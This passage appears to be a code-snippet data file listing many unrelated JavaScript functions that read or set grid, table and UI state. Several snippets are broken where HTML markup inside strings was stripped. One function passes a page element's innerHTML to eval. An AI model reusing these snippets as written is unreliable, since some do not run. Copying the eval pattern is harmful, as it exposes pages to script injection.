headers\n\t\tvar headers = this.InterpreterObject.Content ? this.InterpreterObject.Content.Headers.Ordered : null;\n\t\t//get the header\n\t\tresult = headers && position.Column >= 0 && position.Column < headers.length ? headers[position.Column].HTML : null;\n\t}\n\t//is the row visible?\n\telse if (position.Row != null && position.Row >= 0 && (this.InterpreterObject.Content.TreeData == null || this.InterpreterObject.Content.TreeData.VisibleMap[position.Row]))\n\t{\n\t\t//get the tree data\n\t\tvar treeData = this.InterpreterObject.Content.TreeData;\n\t\t//get the row\n\t\tvar row = this.InterpreterObject.Content.Cells.Rows[position.Row];\n\t\t//assume we will be clicking on the scrollable part of the grid\n\t\tresult = row.HTML ? row.HTML.Fixed.firstChild ? row.HTML.Fixed : row.HTML.Scrollable : null;\n\t\t//also has a column? ie: want a cell?\n\t\tif (position.Column != null)\n\t\t{\n\t\t\t//get the row cell\n\t\t\tresult = row.Objects[position.Column].HTML;\n\t\t}\n\t\t//check the event\n\t\telse switch (eEvent)\n\t\t{\n\t\t\tcase __NEMESIS_EVENT_OPENBRANCH:\n\t\t\tcase __NEMESIS_EVENT_CLOSEBRANCH:\n\t\t\t\t//this row is a treegrid line?\n\t\t\t\tif (treeData && row)\n\t\t\t\t{\n\t\t\t\t\t//set the target\n\t\t\t\t\tresult = row.Objects[treeData.Column].HTML.BranchButton;\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t//cell selection only (but of course requesting a row selection, of course)\n\t\t\t\tif (Get_String(this.InterpreterObject.Properties[__NEMESIS_PROPERTY_SELECTION_TYPE], \"\") == \"CellOnly\")\n\t\t\t\t{\n\t\t\t\t\t//loop through the cells\n\t\t\t\t\tfor (var i = 0, c = row.Objects.length; i < c; i++)\n\t\t\t\t\t{\n\t\t\t\t\t\t//this one has cell selects row?\n\t\t\t\t\t\tif (row.Objects[i].SelectionActionsOnly)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t//use this one isntead\n\t\t\t\t\t\t\tresult = row.Objects[i].HTML;\n\t\t\t\t\t\t\t//end loop\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t}\n\t}\n\telse\n\t{\n\t\t//use the entire treegrid\n\t\tresult = this;\n\t}\n\t//return the result\n\treturn result;\n}","function getGrid() {\n\tconsole.log(\"Current rows are: \" + GRID.rows + \"\\nCurrent columns are: \" + GRID.columns);\n}","function setState() {\n var tags = document.getElementsByTagName(\"td\")\n let state = [];\n for (var i = 0; i < tags.length; i++) {\n state.push(tags[i].innerHTML)\n };\n return state;\n}","function getGridClass(pos) {\n\tlet childs = c.childNodes;\n\tlet classes = childs[pos].className.split(' ');\n\treturn classes;\n}","function TreeGrid_GetData()\n{\n\t//create an array for the result\n\tvar result = [];\n\t//have we got content? with cells?\n\tif (this.InterpreterObject.Content && this.InterpreterObject.Content.Cells)\n\t{\n\t\t//loop through the html\n\t\tfor (var rows = this.InterpreterObject.Content.Cells.Rows, i = 0, c = rows.length; i < c; i++)\n\t\t{\n\t\t\t//selected?\n\t\t\tif (rows[i].Selected)\n\t\t\t{\n\t\t\t\t//add this to the result\n\t\t\t\tresult.push(\"\" + (i + 1));\n\t\t\t}\n\t\t}\n\t}\n\t//return it\n\treturn result;\n}","function UltraGrid_GetHTMLTarget(eEvent, aData)\n{\n\t//default result: null\n\tvar result = null;\n\n\t//get the target\n\tvar target = UltraGrid_GetTarget(this.InterpreterObject, aData[0]);\n\t//valid target?\n\tif (target)\n\t{\n\t\t//this a cell?\n\t\tif (target.UltraGridCell || target.UltraGridHeader)\n\t\t{\n\t\t\t//use the html\n\t\t\tresult = target.HTML;\n\t\t}\n\t\t//must be a row\n\t\telse if (target.Panels)\n\t\t{\n\t\t\t//get its first panel row\n\t\t\tresult = target.PanelRows[target.PanelIds[0]];\n\t\t}\n\t}\n\t//return the result\n\treturn result;\n}","function read_state() {\n let grid=Array(3).fill(0).map(x => Array(3));\n for(let k=0;k<9;++k) {\n let input=document.getElementById(\"input_pos\"+k);\n let j=Math.floor(k/3);\n let i=k%3;\n if(input.value==\"\") grid[j][i]=0;\n else grid[j][i]=parseInt(input.value,10);\n }\n return {\n grid : grid\n };\n}","function getSpanGrid() {\n\tvar grid = new Array(4);\n\tgrid[0] = new Array(4);\n\tgrid[1] = new Array(4);\n\tgrid[2] = new Array(4);\n\tgrid[3] = new Array(4);\n\tvar n = 0;\n\tfor (var r = 0; r < 4 ; r++ ) {\n\t\tfor (var c = 0; c < 4 ; c++ ) {\n\t\t\tgrid[r][c] = $(\"#grid .cell\").eq(n).find(\"span\");\n\t\t\tn++;\n\t\t}\n\t}\n\treturn grid;\n}","function getViewState(formElement) {\n return AjaxImpl_1.Implementation.getViewState(formElement);\n }","function handleDemoGrid() {\r\n\tswitch(demoGridState) {\r\n\t\tcase 0: //\r\n\t\t\tbreak;\r\n\t\tdefault:\r\n\t\t\tbreak;\r\n\t}\r\n}","get gridMode() {\n return this.i.ni;\n }","getGrid() {\n return this.gridCells;\n }","getHTML() {\n return getHTMLFromFragment(this.state.doc.content, this.schema);\n }","function getElementBasedFormatState(editor, event) {\n var listTag = roosterjs_editor_dom_1.getTagOfNode(roosterjs_editor_core_1.cacheGetElementAtCursor(editor, event, 'OL,UL'));\n var headerTag = roosterjs_editor_dom_1.getTagOfNode(roosterjs_editor_core_1.cacheGetElementAtCursor(editor, event, 'H1,H2,H3,H4,H5,H6'));\n return {\n isBullet: listTag == 'UL',\n isNumbering: listTag == 'OL',\n headerLevel: (headerTag && parseInt(headerTag[1])) || 0,\n canUnlink: !!editor.queryElements('a[href]', 1 /* OnSelection */)[0],\n canAddImageAltText: !!editor.queryElements('img', 1 /* OnSelection */)[0],\n isBlockQuote: !!editor.queryElements('blockquote', 1 /* OnSelection */)[0],\n };\n}","function getGridElementsPosition(index) {\n const gridEl = document.getElementById(\"grid\");\n let offset = Number(window.getComputedStyle(gridEl.children[0]).gridColumnStart) - 1;\n if (isNaN(offset)) {\n offset = 0;\n }\n const colCount = window.getComputedStyle(gridEl).gridTemplateColumns.split(\" \").length;\n const rowPosition = Math.floor((index + offset) / colCount);\n const colPosition = (index + offset) % colCount;\n return {\n row: rowPosition,\n column: colPosition\n };\n}","getCurrentGridState(args) {\n const gridState = {\n columns: this.getCurrentColumns(),\n filters: this.getCurrentFilters(),\n sorters: this.getCurrentSorters(),\n };\n const currentPagination = this.getCurrentPagination();\n if (currentPagination) {\n gridState.pagination = currentPagination;\n }\n if (this.hasRowSelectionEnabled()) {\n const currentRowSelection = this.getCurrentRowSelections(args && args.requestRefreshRowFilteredRow);\n if (currentRowSelection) {\n gridState.rowSelection = currentRowSelection;\n }\n }\n return gridState;\n }","function getState(el) {\n // insert your own code here to extract a relevant state object from an or
    tag\n // for example, if you rely on any other custom \"data-\" attributes to determine the link behaviour\n return {};\n }","function TreeGrid_GetInterpreterTarget(theHTML, aData)\n{\n\t//default result: null\n\tvar result = null;\n\t//get the position\n\tvar position = TreeGrid_GetTargetItemPosition(theHTML, aData);\n\t//header?\n\tif (position.Row == -1 && position.Column != null)\n\t{\n\t\t//get headers\n\t\tvar headers = theHTML.InterpreterObject.Content ? theHTML.InterpreterObject.Content.Header.Cells : null;\n\t\t//get the header\n\t\tresult = headers && position.Column >= 0 && position.Column < headers.length ? headers[position.Column] : null;\n\t}\n\t//we have this row?\n\telse if (position.Row != null && position.Row >= 0 && theHTML.InterpreterObject.Content && position.Row < theHTML.InterpreterObject.Content.Cells.Rows.length)\n\t{\n\t\t//get the row\n\t\tvar row = theHTML.InterpreterObject.Content.Cells.Rows[position.Row];\n\t\t//have we got a cell?\n\t\tif (row != null && position.Column >= 0 && row.Objects && position.Column < row.Objects.length)\n\t\t{\n\t\t\t//get the cell\n\t\t\tresult = row.Objects[position.Column];\n\t\t}\n\t}\n\t//return the result\n\treturn result;\n}","function loadBoardState(thisState){\n document.querySelectorAll(\".dim\").forEach(function(item){\n if(getLitStateBit(thisState, parseInt(item.getAttribute(\"data-index\")))){\n item.classList.add(\"lit\");\n }else{\n item.classList.remove(\"lit\");\n }\n });\n }","function readState () {\n cache()\n var str = location.pathname.substr(1)\n var result = getRouteNode(str)\n\n if (!result) {\n const ev = new CustomEvent(\"routenotfound\", {\n detail: {\n path: str\n }\n })\n\n window.dispatchEvent(ev)\n return\n }\n var node = cloneNodeAsElement(result.node, 'div')\n\n node.innerHTML = result.node.textContent\n loadNodeSource(node, result.matches)\n return node\n}","function loadState(){\n var state = $.deparam.fragment();\n grid = state.grid;\n \n if(typeof state.variant !== \"undefined\"){\n options.variant = state.variant;\n }\n \n if(typeof state.level !== \"undefined\"){\n options.level = state.level;\n } else {\n options.level = 1;\n }\n \n $theInputs = $('.game-cell-input');\n $theInputs.each(function(){ // iterate over each input, putting saved value in.\n var num = $(this).data('num');\n if(typeof grid !== \"undefined\" && typeof grid[num] !== \"undefined\" && grid[num] !== \"\"){\n $(this).val( grid[num].val );\n $(this).data('special', grid[num].special );\n } else {\n $(this).val('');\n $(this).data('special', 0 );\n }\n decorateInput($(this));\n });\n \n $('#level').val(options.level);\n }","function getGridStateAndNumFilled() {\n let state = '';\n let numFilled = 0\n for (let i = 0; i < gridHeight; i++) {\n for (let j = 0; j < gridWidth; j++) {\n if (grid[i][j].notBlocked()) {\n if (langMaxCharCodes == 1) {\n state = state + grid[i][j].currentLetter\n } else {\n state = state + grid[i][j].currentLetter + '$'\n }\n if (grid[i][j].currentLetter != '0') {\n numFilled++\n }\n } else {\n state = state + '.'\n }\n }\n }\n numCellsFilled = numFilled\n return state;\n}","getCellState(i, j) {\n let that = this;\n return function () {\n return that.state.grid[i][j];\n }\n }","cellState(row, col) {\n const cells = this.cells;\n return cells[ this.to_1d(row, col) * this.cellBytes ];\n }","function getGrid () {\n\tlet grid = new Array(3);\n\tfor (var i = 0; i < 3; i++)\n\t\tgrid[i]=new Array(3);\n\n\tfor (var i = 0; i < 3; i++) {\n\t\tfor (var j = 0; j < 3; j++) {\n\t\t\tlet divSector = $(\"#grid-\" + i + j + \"-id\");\n\t\t\tgrid[i][j] = divSector.text();\n\t\t}\n\t}\n\n\treturn grid;\n}","function redrawHTMLGrid(grid, gridID) {\n var gridHTML = document.getElementById(gridID);\n for (var i = 0; i < height; i++) {\n for (var j = 0; j < width; j++) {\n var cell = gridHTML.rows[i].cells[j];\n if (grid[i][j])\n cell.className = \"selected\";\n else\n cell.className = \"\";\n }\n }\n}","function setHTMLCell(x, y, liveState){\n Array.from(dom.boardNode.children)[size*x + y].classList.toggle(\"live\", liveState);\n}","function drawHTMLGrid(height, width, gridID) {\n var gridHTML = document.getElementById(gridID);\n // Clear previous table and stop game of life algorithm\n gridHTML.innerHTML = \"\";\n clearInterval(globalInterval);\n // Create html table\n for (var i = 0; i < height; i++) {\n var row = gridHTML.insertRow(0);\n for (var j = 0; j < width; j++) {\n var cell = row.insertCell(0);\n cell.innerHTML = \"\";\n }\n }\n // Onclick a table element, change its class \n $(\".grid td\").click(function () {\n if (this.className == \"\")\n this.className = \"selected\";\n else\n this.className = \"\";\n });\n}","function getTableDataFromHtml() {\n\n }","getHTML() {\n return this._executeAfterInitialWait(() => this.currently.getHTML());\n }","function getElementsFromHTML() {\n toRight = document.querySelectorAll(\".to-right\");\n toLeft = document.querySelectorAll(\".to-left\");\n toTop = document.querySelectorAll(\".to-top\");\n toBottom = document.querySelectorAll(\".to-bottom\");\n }","getState() {\n // TODO return obj with the board's properties\n }","getState(ant) {\n const tile = this.grid[ant.getPosition().y][ant.getPosition().x];\n if (!tile) { return 0; }\n if (this.scope.config.ant_coloring == \"rgb_blend\") {\n return tile[ant.id];\n }\n return tile.state;\n }","function getgridobj() {\n\n return gridobj;\n\n }","function getGridElement(row, col){\n\tvar cellNum = parseInt(row-1)*size + parseInt(col);\n\tvar cell = dom.gameBoard.querySelector(\"#cell\"+cellNum);\n\treturn cell;\n}","function identifyCell(gridPossibilities) {\n var cellReference = 0;\n return cellReference;\n}","getGameGrid() {\n return this.buildBlockGrid();\n }","function aanmaken_grid_layout() {\n var nummer = 0;\n var kolom__struct = '';\n var grid__struct = '';\n\n for (rij = 0; rij < grid_struct__obj.aantal_rijen; rij++) {\n kolom__struct = '';\n for (kolom = 0; kolom < grid_struct__obj.aantal_kolommen; kolom++) {\n nummer = nummer + 1\n kolom__struct += `
    `;\n }\n grid__struct += `
    ${kolom__struct}
    `;\n }\n return grid__struct; // geeft de grid structuur als resultaat terug\n }","getGridView() {\n const { data } = this.state;\n if (data.length == 0) return null;\n\n return {\n return
    \n \n
    \n }},\n { alias: 'Detalles', value : data => {\n return visibility;\n }},\n ]}\n />;\n }","async readOverviewTiles() {\n const tiles = await this.page.evaluate(() =>\n Array.from(document.querySelectorAll('div[id$=ITtile]')).map(t => {\n const [title, badge] = t.querySelectorAll('span');\n return {\n isSelected: t.classList.contains('p_AFSelected'),\n title: title.textContent,\n badge: badge.textContent,\n selectId: t.querySelector('a[title^=\"Select:\"]').id,\n };\n }));\n\n tiles.forEach(t => t.click =\n this.page.click.bind(this.page, '#'+t.selectId.replace(/:/g,'\\\\:')));\n return tiles;\n }","function getElementByString(html) {\n let element = document.createElement('div')\n element.classList = 'col form-group row';\n element.innerHTML = html;\n return element.firstElementChild\n\n}","getGridRowIndex(){return this.__gridRowIndex}","function gridButton() {\n let elem = document.querySelectorAll(\".square\");\n elem.forEach(toggleGrid);\n if (grid == false) {\n let gridBtn =\n document.getElementById(\"grid-button\");\n gridBtn.innerText = \"Grid On\";\n }\n else if (grid == true) {\n let gridBtn =\n document.getElementById(\"grid-button\");\n gridBtn.innerText = \"Grid Off\";\n }\n}","function getTreeState() {\n var tree = viewTree.getData().getAllNodes();\n //isc.JSON.encode(\n return { width: viewTree.getWidth(),\n time: isc.timeStamp(),\n pathOfLeafShowing: viewInstanceShowing ? viewInstanceShowing.path : null,\n // selectedPaths: pathShowing, //viewTree.getSelectedPaths(),\n //only store data needed to rebuild the tree \n state: tree.map(function(n) {\n return {\n\t type: n.type,\n\t id: n.id,\n\t parentId: n.parentId,\n\t isFolder: n.isFolder,\n\t name: n.name,\n\t isOpen: n.isOpen,\t\n\t state: n.state,\n icon: n.icon\n };\n\t\t })\n };\n }","function evaluateLightDOM() {\n \n // Light DOM is given as HTML string? => use fragment with HTML string as innerHTML\n if ( typeof self.inner === 'string' ){\n self.inner = document.createRange().createContextualFragment( self.inner );\n }\n \n var children = ( self.inner || self.root ).children;\n self.questions = [];\n self.question_ids = [];\n var count = 0;\n \n // iterate over all children of the Light DOM to search for config parameters\n self.ccm.helper.makeIterable( children ).map( function ( elem ) {\n count += 1;\n\n // self.ccm.helper.generateConfig( elem ); // ToDo\n \n if ( elem.tagName.startsWith('CCM-EXERCISE-') ){\n var param_name = elem.tagName.split('-')[2].toLowerCase();\n switch ( param_name ){\n case 'question':\n self.questions.push( elem.innerHTML );\n self.question_ids.push( self.fkey + '_' + count );\n self.html.main.inner.push( { tag: 'label', for: self.fkey + '_' + count, inner: elem.innerHTML } );\n self.html.main.inner.push( { tag: 'textarea', id: self.fkey + '_' + count } );\n break;\n default: self[ param_name ] = elem.innerHTML;\n }\n }\n } );\n \n if ( self.questions.length === 0 ){\n self.html.main.inner.push( { tag: 'label', for: self.fkey } );\n self.html.main.inner.push( { tag: 'textarea', id: self.fkey, placeholder: self.placeholder || '' } );\n }\n \n self.html.main.inner.push( { tag: 'ccm-show_solutions', for: self.fkey } );\n \n }","function Edit_GetHTMLTarget(eEvent, aData)\n{\n\t//by default use ourselves\n\tvar result = this;\n\t//switch on event\n\tswitch (eEvent)\n\t{\n\t\tcase __NEMESIS_EVENT_MATCHCODE:\n\t\t\t//our matchcode exist? and is visible? use it\n\t\t\tresult = this.STATES_MATCHCODE ? this.MATCHCODE : null;\n\t\t\tbreak;\n\t}\n\t//return it\n\treturn result;\n}","function getGridGetAction() {\n var keys = $(\"div.grid-view\").find(\"div.keys\");\n var getAction = '';\n switch (keys.length) {\n case 0:\n alert('No gridview keys found');\n getAction = '';\n break;\n case 1:\n getAction = keys.attr('title');\n break;\n default:\n alert('Mutiple gridview keys found');\n getAction = '';\n break;\n }\n \n return getAction;\n}","function getHeaderGrid(dp,cellIndex){\n\treturn dp.obj.hdrLabels[cellIndex];\n}","get grid() {\n return this._grid;\n }","function setGridState(visible, enabled) {\n var gridContents = document.getElementsByClassName('grid-content');\n var grid = document.getElementById('grid');\n\n if (enabled) {\n grid.setAttribute('enabled', '');\n } else {\n grid.removeAttribute('enabled');\n }\n\n for (var i = 0; i < gridContents.length; i++) {\n if (!visible) {\n gridContents[i].classList.add('invisible');\n } else {\n gridContents[i].classList.remove('invisible');\n }\n }\n}","function Simulator_Position_GetDisplayRect(html)\n{\n\treturn Position_GetDisplayRect(html);\n}","function getGridString(cols, rows)\n{\n\tvar tableMarkup = $(\"#drawing-table\").html();\n\tvar index = 0;\n\tvar result = \"\";\n\twhile(true)\n\t{\n\t\tindex = tableMarkup.indexOf(\"\", index);\n\t\tif (index == -1)\n\t\t\tbreak;\n\t\tif (tableMarkup[index-1] == SYMB_AVAIL)\n\t\t\tresult += \"1\";\n\t\telse\n\t\t\tresult += \"0\";\n\t\tindex++;\n\t}\n\treturn result;\n}","function displayState(tab) {\n $(\".grid\").empty();\n for (let i = 0; i < tab.length; i++) {\n for (let j = 0; j < tab[i].length; j++) {\n const elem = tab[i][j];\n if (elem) {\n const item = $(`
    ${elem}
    `);\n $(\".grid\").append(item);\n } else {\n // if (leftMove == 1) {\n // $(\".grid\").append(`
    \"car\"
    `);\n // leftMove = 0\n // } else if (rightMove == 1) {\n // $(\".grid\").append(`
    \"car\"
    `);\n // rightMove = 0\n // } else {\n $(\".grid\").append(`
    \"DAVIDOU\"
    `);\n\n // }\n }\n\n }\n }\n}","validateGridView() {\n return this\n .waitForElementVisible('@gridViewContainer')\n .assert.elementPresent('@gridViewContainer', 'Grid View Displayed');\n }","function pagehtml(){\treturn pageholder();}","function IsDomCustomGrid(evt, element, eventOpts, objName, description, flavor, items)\r\n\t{\r\n\t\tfunction _getName(el)\r\n\t\t{\r\n\t\t\tvar name = __getAttribute(el, '');\r\n\t\t\tif (name)\r\n\t\t\t{\r\n\t\t\t\treturn name;\r\n\t\t\t}\r\n\t\t\treturn \"Grid\";\r\n\t\t} \r\n \r\n\t\tfunction _getCell(el)\r\n\t\t{\r\n\t\t\treturn {row: 0, col: 0};\r\n\t\t}\r\n\t\r\n\t\tvar rvalue =\r\n\t\t{\r\n\t\t\troot: null, // to define in future the most near element or smth else\r\n\t\t\tresult: null, // here will be old res placed\r\n\t\t\trcode: R_NOT_OBJECT // return code\r\n\t\t};\r\n\t \r\n\t\tvar root = false;\r\n\r\n\t\t/**\r\n\t\t * Test element or it's neighbour nodes to detect type of an object we are dealing with.\r\n\t\t * Element API is described here: https://developer.mozilla.org/en-US/docs/Web/API/Element\r\n\t\t * API to use:\r\n\t\t *\t__hasParentWithAttr(element, attributeName, regexp)\r\n\t\t * __getAttribute(element, attributeName);\r\n\t\t *\r\n\t\t */\r\n\t\tif(root=__hasParentWithAttr(element, '', //ig))\r\n\t\t{\r\n\t\t\t// TODO\r\n\t\r\n\t\t\tvar res = {\r\n\t\t\t\tcancel: false,\r\n\t\t\t\tobject_flavor: 'Grid',\r\n\t\t\t\tobject_name: _getName(root),\r\n\t\t\t\tobject_type: 'DomCustomGrid',\r\n\t\t\t\tdescription: 'TODO Action description',\r\n\t\t\t\tlocator_data: \r\n\t\t\t\t{\r\n\t\t\t\t\txpath: SeS_GenerateXPath(root)\r\n\t \t\t}\r\n\t\t\t};\r\n\t\r\n\t\t\t// Learn\r\n\t\t\trvalue.result = res;\r\n\t\t\trvalue.root = root;\r\n\t\t\trvalue.rcode = R_OBJECT_FOUND;\r\n\t\t\t\r\n\t\t\tif(evt == \"resolveElementDescriptor\")\r\n\t\t\t{\r\n\t\t\t\tres.rect = __getElementRect(root);\r\n\t\t\t\tres.action = undefined;\r\n\t\t\t\treturn rvalue;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tif (evt == \"Click\")\r\n\t\t\t{\r\n\t\t\t\tvar cell = _getCell(element);\r\n\t\t\t\tif (cell)\r\n\t\t\t\t{\r\n\t\t\t\t\tvar actionClick = {\r\n\t\t\t\t\t\t\tname: \"ClickCell\",\r\n\t\t\t\t\t\t\tdescription: \"Click cell in a grid\",\r\n\t\t\t\t\t\t\tparams: [cell.row, cell.col]\r\n\t\t\t\t\t\t};\t\r\n\t\t\t\t\tres.action = actionClick;\r\n\t\t\t\t}\r\n\t\t\t}\t\t\t\t\r\n\t\t\r\n\t\t\t// Actions \r\n\t\t\trvalue.rcode = R_ACTION_FOUND;\r\n\t\t}\r\n\t\t\r\n\t\treturn rvalue;\r\n\t}","GetGraphFromHTML() {\n var mydiv = document.getElementById(\"mygraphdata\");\n var graph_as_string = mydiv.innerHTML;\n let graph = eval(graph_as_string);\n return graph;\n }","htmlForStatus() {\nvar html;\n//----------\nreturn html = `\n\nStatus:\n\n `;\n}","function social_curator_grid_post_loaded(data, element){}","function getGridCellDev(grid, row, col)\n{\n // IGNORE IF IT'S OUTSIDE THE GRID\n if (!isValidCellDev(row, col))\n {\n return -1;\n }\n var index = (row * gridWidthDev) + col;\n return grid[index];\n}","generateGridRows() {\n // Object to store the tiles\n let grid_rows = []\n let grid_ind = 1\n // For each row\n for (let row = 1; row <= 4; row++) {\n let col_grids = []\n //For each column\n for (let col = 1; col <= 4; col++) {\n // Referred to reactjs documentation for handle click\n let id = grid_ind++\n // To assign class based on state\n // Useful for styling\n let classVar = this.state.tileData[id]['status'] == 'hide' ? '' : 'tile-' + this.state.tileData[id]['status']\n col_grids.push( {\n this.handleClick(id)\n }}>{this.state.tileData[id]['status'] != 'hide'\n ? this.state.tileData[id]['letter'] : ''})\n }\n grid_rows.push({col_grids})\n }\n return grid_rows\n }","function loadGrid() {\n \n }","function getTemplate(winNo) {\n var str =\n '
    ' +\n '
    ' +\n ' ' + VIS.Msg.getMsg(\"ViewMore\") + ' ' +\n '
    ' +\n '
    ' +\n '
    ' +\n '
    ' +\n '
    ' +\n '
    ' +\n '
    ' +\n ' ' +\n '
    ' +\n '
    ' +\n '
    ' +\n '
    ' +\n ' ' +\n ' ' +\n '
    ' +\n '
    ' +\n '
    ' +\n '
    ' +\n ' ' +\n ' ' +\n '
    ' +\n '
    ' +\n '
    ' +\n '
    ' +\n '
    ' +\n '
    ' +\n '
    ' +\n '
    ' +\n '
    ' +\n ' ' + VIS.Msg.getMsg(\"Add\") + ' ' +\n '
    ' +\n '
    ' +\n '
    ' +\n '
    ' +\n '
    ' +\n '
    ' +\n '
    ' +\n '
    ' +\n '
    ' +\n '
    ';\n return str;\n }","_parseHTML(htmlString) {\n //current xpath is body.div[i].table.tbody.tr[j].td[1-5]\n let cleanedHtmlString = htmlString.replace(/(\\\\t|\\\\n|&nbsp;)/gi,'');\n let root = htmlParser.parse(htmlString);\n let divs = root.querySelectorAll('div');\n if (divs) {\n for (let div of divs) {\n let table = div.querySelector('table');\n if (!table) {\n continue;\n }\n\n let tbody = table.querySelector('tbody');\n if (!tbody) {\n continue;\n }\n\n let rows = tbody.querySelectorAll('tr');\n if (!rows) {\n continue;\n }\n for (let row of rows) {\n let cols = row.querySelectorAll('td');\n //take 5 cols from here\n this._data.add(cols[0].rawText, cols[1].rawText, cols[2].rawText, cols[4].rawText);\n }\n }\n }\n }","getHTML() {\n const l = this.strings.length - 1;\n let html = '';\n let isTextBinding = true;\n for (let i = 0; i < l; i++) {\n const s = this.strings[i];\n html += s;\n // We're in a text position if the previous string closed its tags.\n // If it doesn't have any tags, then we use the previous text position\n // state.\n const closing = findTagClose(s);\n isTextBinding = closing > -1 ? closing < s.length : isTextBinding;\n html += isTextBinding ? nodeMarker : marker;\n }\n html += this.strings[l];\n return html;\n }","get cellTagName() {\n return 'div';\n }","function lightCell(str){\n if ( convertRow(str) <= countRows() && convertColumn(str) <= countColumns() ) {\n return GRID[convertRow(str)][convertColumn(str)];\n } else {\n return false;\n }\n}","function _getWebComponentsState() {\r\n // is mostly valid (css)\r\n //import feature is not always enabled\r\n const _imp = 'import' in document.createElement('link');\r\n const _tmp = !(document.createElement('template')\r\n instanceof HTMLUnknownElement);\r\n return Object.freeze({\r\n import: _imp,\r\n template: _tmp,\r\n isError: (!_imp || !_tmp)\r\n });\r\n }","function gridMap() {\n return {\n top_left: { _cx_cy_index: 4, drag_index : [ 2, 3, 4 ] },\n bottom_left: { _cx_cy_index : 3, drag_index : [ 1, 4, 3 ] },\n top_right: { _cx_cy_index : 2, drag_index : [ 4, 1, 2 ] },\n bottom_right: { _cx_cy_index : 1, drag_index : [ 3, 2, 1 ] }\n };\n }","getGridColumnIndex(){return this.__gridColumnIndex}","function Grid() {\n /* public properties */\n //是否能够多选行\n this.multiple = true;\n //排序列,内部用\n this.sortCol = -1;\n //降序排序\n this.sortDescending = 0;\n //错误信息\n this.error = '';\n //已选择的行数组\n this.selectedRows = [];\n //奇偶行是否用不同颜色显示,此开关打开时,添加删除行ie会自动关闭,原因目前不明\n this.colorEvenRows = true;\n //列是否允许调整宽度\n this.resizeColumns = true;\n //表体body列是否随表头head列的宽度实时调整列宽\n this.bodyColResize = true;\n //用户定义的对象变量名的字符串形式\n this.selfName = '';\n //是否排序开关\n this.sortFlag = true;\n //显示右键菜单\n this.showMenu = false;\n //是否能增减行,只控制键盘事件和右键菜单\n this.addSubRow = false;\n //序号的起始数\n this.startNum = 1\n //用户输入数据错误标志,\n this.inputError = false;\n //grid是否可编辑,该标志由程序更加html代码设置,用于对编辑快捷键的控制\n this.editFlag = false;\n //在grid最后一个编辑框失去焦点时,页面焦点聚到grid外的其他元素上\n this.nextFocus = null;\n //设置gird的高度为 maxViewRow行记录,不设置,默认高度按container高度走\n this.maxViewRow = -1\n //对gird的单元格统一加的累计宽度值\n this.widthAddValue = 20;\n //排序类型,数组,存放类型有'String','Number','None','Date','CaseInsensitiveString'\n this.sortTypes =[];\n //数据列的显示位置,页面用户将要排序的列序号(从0开始)作为数组传入,没有传入的列序号,将(通过把列宽置为0)被隐藏\n //如:o.colPos=[0,4,3,2]\n // o.colPos=[4,2,3,1]\n // 注意:1.在o.bind(...)调用之前对此赋值,不需要排序和隐藏列的功能不要赋值此属性\n // 2.列号一定要在 0 和 列数减一 之间,grid对此不校验,可能会出错。\n this.colPos = [];\n //添加行时,是否复制上一行的数据。ture-复制,false-不复制,默认false\n this.isAddRowWithData=false;\n //新增行时按照哪一行(首行或末行或选择的行的第一行)进行复制 (默认按首行复制)\n // false -首行复制 ; true - 末行复制 ;null - 按选择行复制(如果选择多行,复制选择的第一行,没选择行 则复制首行)\n //此参数在o.bind前后都可以设置。\n this.isAddRowWithLast = false;\n //在设置完只读单元格后,当前的编辑框是否下移到下一个可编辑框上,默认为移动\n this.isMoveFocusAfterSetReadOnly = true;\n //哪些列是多行select ,如:o.mutiSelectPos=[2,3]\n this.mutiSelectPos = [];\n\n /* events */\n this.onresize = null;\n this.onsort = null;\n this.onselect = null;\n this.onAddRow = null;\n this.onRemoveRow = null;\n this.onGridBlur = null; //Grid失去焦点时触发函数, Added by likey, Date: 2006-04-20\n\n\n /* private properties */\n //Container容器\n this._eCont = null;\n //Head 容器\n this._eHead = null;\n //left 容器\n this._eLeft = null;\n //body 容器\n this._eBody = null;\n //head 表格\n this._eHeadTable = null;\n //left 表格\n this._eLeftTable = null;\n //body 表格\n this._eBodyTable = null;\n //head 列集合\n this._eHeadCols = null;\n //暂时为1列\n this._eLeftCols = null;\n //body 的列集合\n this._eBodyCols = null;\n //用于调整Left行高\n this._eBodyRows = null;\n\n //当前处于编辑状态的单元格\n this._eEditTd = null;\n //第一个可编辑td\n this._eFistEditTd = null;\n //内部用的全局变量,用于左右键移动单元格的递归函数调用中\n this.__tempTd = null;\n //上次施动者td\n this._preLinkerTd = null;\n\n //右键菜单\n this._eMenu = null;\n\n this._eDataTable = null;\n //保存列的一些设置数据信息的数组\n this._eDataCols = null;\n\n this._activeHeaders = null;\n this._rows = 0;\n this._cols = 0;\n\n this._defaultLeftWidth = 40;\n\n}","function stateCheck() {\n var stateLog = document.querySelector(\".state\");\n var state = response.regionName;\n console.log(state);\n\n stateLog.innerHTML += state;\n }","function getPopupFormState()\n {\n var state = new Object();\n var elms;\n if(isParameterizedPopup && popupFormName!=null)\n elms = popupFormName.elements;\n else\n elms = popupDiv.getElementsByTagName(\"*\");\n var len = elms.length;\n for (var i = 0; i < len; i++)\n {\n var element = elms[i];\n //bug18449628 \n if (element && element.tagName != \"IMG\")\n {\n var name = element.name;\n if (name)\n {\n // Skip over hidden values\n var elmType = element.type;\n if (!elmType || (elmType != 'hidden'))\n state[name] = _getValue(element);\n }\n }\n }\n return state;\n }","getState(board){\r\n return this.fenToArray(this.game.fen())\r\n }","function saveState(){\n var grid = gridState();\n var state = {grid:grid};\n state.level = $('#level').val();\n state.variant = options.variant;\n $.bbq.pushState(state);\n }","function _getElements() {\n\tif(_store){\n if (_isSubpageOpened()) {\n return _store.getState().secondLevelPage.elements;\n }\n return _store.getState().elements;\n\t}\n }","function getStateFromUi() {\n \n var state = {\n tab: getSelectedTab(),\n selectedPeriodOffset: getSelectedPeriodOffset(),\n selectedGroup: getSelectedGroup(),\n selectedIndividual: getSelectedIndividual()\n };\n \n if(state.selectedIndividual !== null) {\n state.mode = MODE.INDIVIDUAL;\n } else if(state.selectedIndividual === null && state.selectedGroup !== null) {\n state.mode = MODE.GROUP;\n } else {\n state.mode = MODE.FLEET;\n }\n \n return state;\n }","function getDeviceState() {\n var state = window.getComputedStyle(\n 